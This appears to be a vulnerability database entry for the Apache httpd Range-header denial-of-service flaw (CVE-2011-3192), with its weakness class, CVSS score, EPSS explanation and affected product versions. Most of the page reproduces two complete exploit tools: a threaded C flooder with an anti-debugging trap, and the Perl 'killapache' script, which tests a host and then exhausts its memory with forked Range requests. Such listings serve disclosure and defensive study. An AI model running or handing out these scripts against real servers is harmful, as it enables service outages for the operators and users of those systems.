Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-400 |
Uncontrolled Resource Consumption The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
7.8 |
|
AV:N/AC:L/Au:N/C:N/I:N/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 18221
Publication date : 2011-12-08 23h00 +00:00
Author : Ramon de C Valle
EDB Verified : No
/*
* This is a reverse engineered version of the exploit for CVE-2011-3192 made
* by ev1lut10n (http://jayakonstruksi.com/backupintsec/rapache.tgz).
* Copyright 2011 Ramon de C Valle <
[email protected]>
*
* Compile with the following command:
* gcc -Wall -pthread -o rcvalle-rapache rcvalle-rapache.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <pthread.h>
void ptrace_trap(void) __attribute__ ((constructor));
void
ptrace_trap(void) {
if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
write(fileno(stdout), "Segmentation fault\n", 19);
exit(-1);
}
}
void
w4rn41dun14mu(int attr, int fg, int bg)
{
char command[13];
sprintf(command, "%c[%d;%d;%dm", 0x1b, attr, fg+30, bg+40);
printf("%s", command);
}
void
banner()
{
w4rn41dun14mu(0, 1, 0);
fwrite("Remote Apache Denial of Service Exploit by ev1lut10n\n", 53, 1,
stdout);
}
void
gime_er_mas()
{
printf("%c%s", 0x1b, "[2J");
printf("%c%s", 0x1b, "[1;1H");
puts("\nsorry dude there's an error...");
}
struct thread_info {
pthread_t thread_id;
int thread_num;
char *argv_string;
};
static void *
thread_start(void *arg)
{
struct thread_info *tinfo = (struct thread_info *) arg;
char hostname[64];
int j;
strcpy(hostname, tinfo->argv_string);
j = 0;
while (j != 10) {
struct addrinfo hints;
struct addrinfo *result, *rp;
int sfd, s;
ssize_t nwritten;
memset(&hints, 0, sizeof(struct addrinfo));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = 0;
hints.ai_protocol = 0;
s = getaddrinfo(hostname, "http", &hints, &result);
if (s != 0) {
fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s));
exit(EXIT_FAILURE);
}
for (rp = result; rp != NULL; rp = rp->ai_next) {
sfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
if (sfd == -1)
continue;
if (connect(sfd, rp->ai_addr, rp->ai_addrlen) == -1)
close(sfd);
}
if (result != NULL)
freeaddrinfo(result);
nwritten = write(sfd, "HEAD / HTTP/1.1\n"
"Host:localhost\n"
"Range:bytes=0-,0-\n"
"Accept-Encoding: gzip", 71);
if (nwritten == -1)
close(sfd);
usleep(300000);
j++;
}
return 0;
}
int
main(int argc, char *argv[])
{
int i;
struct thread_info tinfo;
banner();
if (argc <= 1) {
w4rn41dun14mu(0, 2, 0);
fwrite("\n[-] Usage : ./rapache hostname\n", 32, 1, stdout);
return 0;
}
w4rn41dun14mu(0, 3, 0);
printf("[+] Attacking %s please wait in minutes ...\n", argv[1]);
while (1) {
i = 0;
while (i != 50) {
tinfo.thread_num = i;
tinfo.argv_string = argv[1];
pthread_create(&tinfo.thread_id, NULL, &thread_start, &tinfo);
usleep(500000);
i++;
}
}
}
Exploit Database EDB-ID : 17696
Publication date : 2011-08-18 22h00 +00:00
Author : kingcope
EDB Verified : No
#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#
use IO::Socket;
use Parallel::ForkManager;
sub usage {
print "Apache Remote Denial of Service (memory exhaustion)\n";
print "by Kingcope\n";
print "usage: perl killapache.pl <host> [numforks]\n";
print "example: perl killapache.pl www.example.com 50\n";
}
sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
$pm = new Parallel::ForkManager($numforks);
$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
$p .= ",5-$k";
}
for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
while(<$sock>) {
}
$pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}
sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
$x = <$sock>;
if ($x =~ /Partial/) {
print "host seems vuln\n";
return 1;
} else {
return 0;
}
}
if ($#ARGV < 0) {
usage;
exit;
}
if ($#ARGV > 1) {
$numforks = $ARGV[1];
} else {$numforks = 50;}
$v = testapache();
if ($v == 0) {
print "Host does not seem vulnerable\n";
exit;
}
while(1) {
killapache();
}
Products Mentioned
Configuraton 0
Apache>>Http_server >> Version From (including) 2.0.35 To (excluding) 2.0.65
Apache>>Http_server >> Version From (including) 2.2.0 To (excluding) 2.2.20
Configuraton 0
Opensuse>>Opensuse >> Version 11.3
Opensuse>>Opensuse >> Version 11.4
Suse>>Linux_enterprise_server >> Version 10
Suse>>Linux_enterprise_server >> Version 10
Suse>>Linux_enterprise_server >> Version 10
Suse>>Linux_enterprise_server >> Version 11
Suse>>Linux_enterprise_server >> Version 11
Suse>>Linux_enterprise_software_development_kit >> Version 10
Suse>>Linux_enterprise_software_development_kit >> Version 10
Suse>>Linux_enterprise_software_development_kit >> Version 11
Configuraton 0
Canonical>>Ubuntu_linux >> Version 8.04
Canonical>>Ubuntu_linux >> Version 10.04
Canonical>>Ubuntu_linux >> Version 10.10
Canonical>>Ubuntu_linux >> Version 11.04
References